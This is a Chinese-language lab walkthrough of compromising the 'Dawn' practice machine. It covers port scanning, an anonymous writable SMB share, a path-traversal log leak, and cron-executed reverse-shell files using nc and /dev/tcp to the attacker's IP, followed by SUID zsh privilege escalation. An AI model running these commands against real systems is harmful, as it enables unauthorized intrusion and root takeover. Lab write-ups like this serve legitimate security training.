getwebshell → SMB
共享无密码 → SMB
存在上传功能 → 存在周期执行任务 → SMB
上传反弹shell
→ 被执行获得webshell
提 权 思 路 → suid
发现zsh
→ -p
容器提权
192.168.45.163
192.168.242.11
sudo nmap --min-rate 10000 -p- 192.168.242.11
通过两次收集到的端口:→80,139,445,3306
# tcp探测
sudo nmap -sT -sV -O -sC -p80,139,445,3306 192.168.242.11
80/tcp open http Apache httpd 2.4.38 ((Debian))
445/tcp open netbios- Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
首先思考445端口是否存在SMB共享内容,在思考3306端口是否存在弱口令,最后来挖掘80端口
连接成功则SMB没有开启密码
# 利用-L查看SMB的内容
smbclient -L //192.168.242.11
发现SMB
服务不需要密码即可访问,查看到了目录ITDEPT
# 利用获取到的[sambashare]直接进行访问查看内容
smbclient //192.168.242.11/ITDEPT -U root
查看了一下文件,没发现什么有用的内容
# 利用获取到的sambashare直接进行访问之后尝试使用PUT是否成功
smbclient //192.168.242.11/ITDEPT -U root
smb :\ > put [上传的文件]
尝试了上传功能,发现SMB
的上传功能开启
# 抓取用户名
enum4linux 192.168.242.11
抓着玩,先去干其他的
# 尝试直接使用mysql协议进行root:root尝试(远程需-h)
┌──(root㉿Kali)-[/home/bachang/Dawn]
└─# mysql -h 192.168.242.11 -uroot -proot
ERROR 1045 (28000): Access denied for user 'root'<span class="label label-primary">@'192.168.45.163'</span> (using password: YES)
访问 http://192.168.242.11/ 发现显示的是设备正在建设中,从源码步骤开始
# 包括文章中是否写明一些敏感信息
curl http://192.168.242.11
# 利用html2text转换纯文本方便查看
curl http://192.168.242.11 | html2text
没什么有用的信息
如果扫描发现301适当考虑 -r 2 进行递归
dirsearch -u http://192.168.242.11 -x 302,403
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
/log
端点查看
发现该端点存在路径遍历
访问了其中的内容,发现只有management.log
可以查看
收集到了账户信息 ganimedes
在查看的过程中发现每分钟会执行重复的命令,在充满的命令中发现一些有趣的内容
确认了会周期性的执行给777
的权限到对应的文件
回到之前我们发现的SMB的文件夹发现是ITDEPT
和我们发现周期性日志中给777
权的文件夹相同
推测可以将文件上传到SMB
,等待执行获取反弹shell
确定我们需要上传的文件名为web-control
,构造内容
echo 'nc -e /bin/bash 192.168.45.163 4444' > web-control
echo 'bash -i >& /dev/tcp/192.168.45.163/4444 0>&1' > product-control
将文件上传到SMB中
攻击机开启监听
sudo nc -lvvp 4444
等待反弹shell的监听
成功反弹shell
由于获取的shell交互不友好,利用python获得新的交互shell
# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";
www-data<span class="label label-primary">@dawn</span>:~$ find / -name local.txt 2>/dev/null
/home/dawn/local.txt
cat /home/dawn/local.txt
*************************
在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
# 确定发行版本
lsb_release -a
# 确定内核版本
uname -a
# 发现了两个用户 和我们收集的一样
ls -al /home
# 例如.ssh找密码 ./*_history找历史记录等
ls -al /home/dawn
发现了隐藏的内容,先放一边,没思路就来
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
发现sudo
的是sudo
,不太能提权
# -perm 文件权限
find / -perm -u=s -type f 2>/dev/null
发现了zsh
进行搜索
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
# 以下命令将以root身份打开一个zsh shell
zsh -p
提权成功
cat /root/proof.txt
************************